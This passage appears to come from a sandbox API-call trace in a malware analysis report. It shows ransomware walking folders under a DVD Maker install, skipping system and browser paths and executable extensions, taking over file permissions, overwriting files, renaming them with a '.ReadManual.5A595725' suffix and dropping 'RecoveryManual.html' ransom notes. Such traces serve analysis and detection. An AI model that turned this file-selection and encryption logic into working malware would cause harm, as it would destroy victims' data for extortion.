lpString2="RecoveryManual.html") returned -1 [0252.730] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.730] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.730] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.730] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.730] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.730] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.730] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.730] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" [0252.731] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0252.731] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 112 [0252.731] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37339935781) returned 1 [0252.731] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0252.731] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.731] GetLastError () returned 0x5 [0252.732] GetNamedSecurityInfoW () returned 0x0 [0252.732] SetNamedSecurityInfoW () returned 0x0 [0252.732] SetNamedSecurityInfoW () returned 0x0 [0252.733] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.734] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0252.734] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0252.734] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf0) returned 1 [0252.734] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.734] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.736] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.736] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0252.736] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.736] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37340515054) returned 1 [0252.736] CloseHandle (hObject=0x1a0) returned 1 [0252.736] SetSecurityInfo () returned 0x5 [0252.737] SetSecurityInfo () returned 0x5 [0252.737] LocalFree (hMem=0x674d38) returned 0x0 [0252.737] CloseHandle (hObject=0x184) returned 1 [0252.737] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.737] lstrcpyW (in: lpString1=0x6ab918, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0252.737] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.737] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.737] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.737] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.737] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.737] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.737] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.737] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.737] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" [0252.737] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0252.737] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 118 [0252.737] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37340618937) returned 1 [0252.737] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.738] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.738] GetLastError () returned 0x5 [0252.738] GetNamedSecurityInfoW () returned 0x0 [0252.739] SetNamedSecurityInfoW () returned 0x0 [0252.739] SetNamedSecurityInfoW () returned 0x0 [0252.740] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.740] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0252.740] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0252.740] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xfc) returned 1 [0252.741] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.741] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.743] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.743] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0252.743] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.743] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37341220134) returned 1 [0252.743] CloseHandle (hObject=0x1a0) returned 1 [0252.744] SetSecurityInfo () returned 0x5 [0252.744] SetSecurityInfo () returned 0x5 [0252.744] LocalFree (hMem=0x674d38) returned 0x0 [0252.744] CloseHandle (hObject=0x184) returned 1 [0252.746] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0252.746] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.746] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0252.747] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Memories" | out: lpString1="Memories") returned="Memories" [0252.747] lstrcatW (in: lpString1="Memories", lpString2="\\" | out: lpString1="Memories\\") returned="Memories\\" [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\Windows\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\WINNT") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\WindowsApps\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.747] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.748] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.748] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.748] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\") returned 57 [0252.748] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.749] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\" [0252.749] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.749] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0252.749] lstrcpyW (in: lpString1=0x6ab90e, lpString2="16_9-frame-background.png" | out: lpString1="16_9-frame-background.png") returned="16_9-frame-background.png" [0252.749] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RecoveryManual.html") returned -1 [0252.749] StrStrIW (lpFirst="16_9-frame-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.749] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.749] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.749] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.749] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.750] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.750] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.750] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.750] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" [0252.750] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.ReadManual.5A595725" [0252.750] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.ReadManual.5A595725") returned 102 [0252.750] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37341848705) returned 1 [0252.750] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0252.751] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.751] GetLastError () returned 0x5 [0252.751] GetNamedSecurityInfoW () returned 0x0 [0252.751] SetNamedSecurityInfoW () returned 0x0 [0252.751] SetNamedSecurityInfoW () returned 0x0 [0252.753] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.753] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=45199) returned 1 [0252.753] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb08f, lpName=0x0) returned 0x1a0 [0252.753] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.754] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.754] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.755] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.756] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb08f) returned 0x2f0000 [0252.756] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.757] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37342559163) returned 1 [0252.757] CloseHandle (hObject=0x1a0) returned 1 [0252.757] SetSecurityInfo () returned 0x5 [0252.757] SetSecurityInfo () returned 0x5 [0252.757] LocalFree (hMem=0x674d38) returned 0x0 [0252.757] CloseHandle (hObject=0x184) returned 1 [0252.757] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\" [0252.757] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RecoveryManual.html" [0252.757] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.758] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.759] CloseHandle (hObject=0x184) returned 1 [0252.759] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0252.759] lstrcpyW (in: lpString1=0x6ab90e, lpString2="16_9-frame-highlight.png" | out: lpString1="16_9-frame-highlight.png") returned="16_9-frame-highlight.png" [0252.759] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RecoveryManual.html") returned -1 [0252.759] StrStrIW (lpFirst="16_9-frame-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.759] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.759] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.759] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.759] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.759] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.759] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.759] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.759] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.759] StrCmpIW (psz1="png", psz2="cmd") returned 1 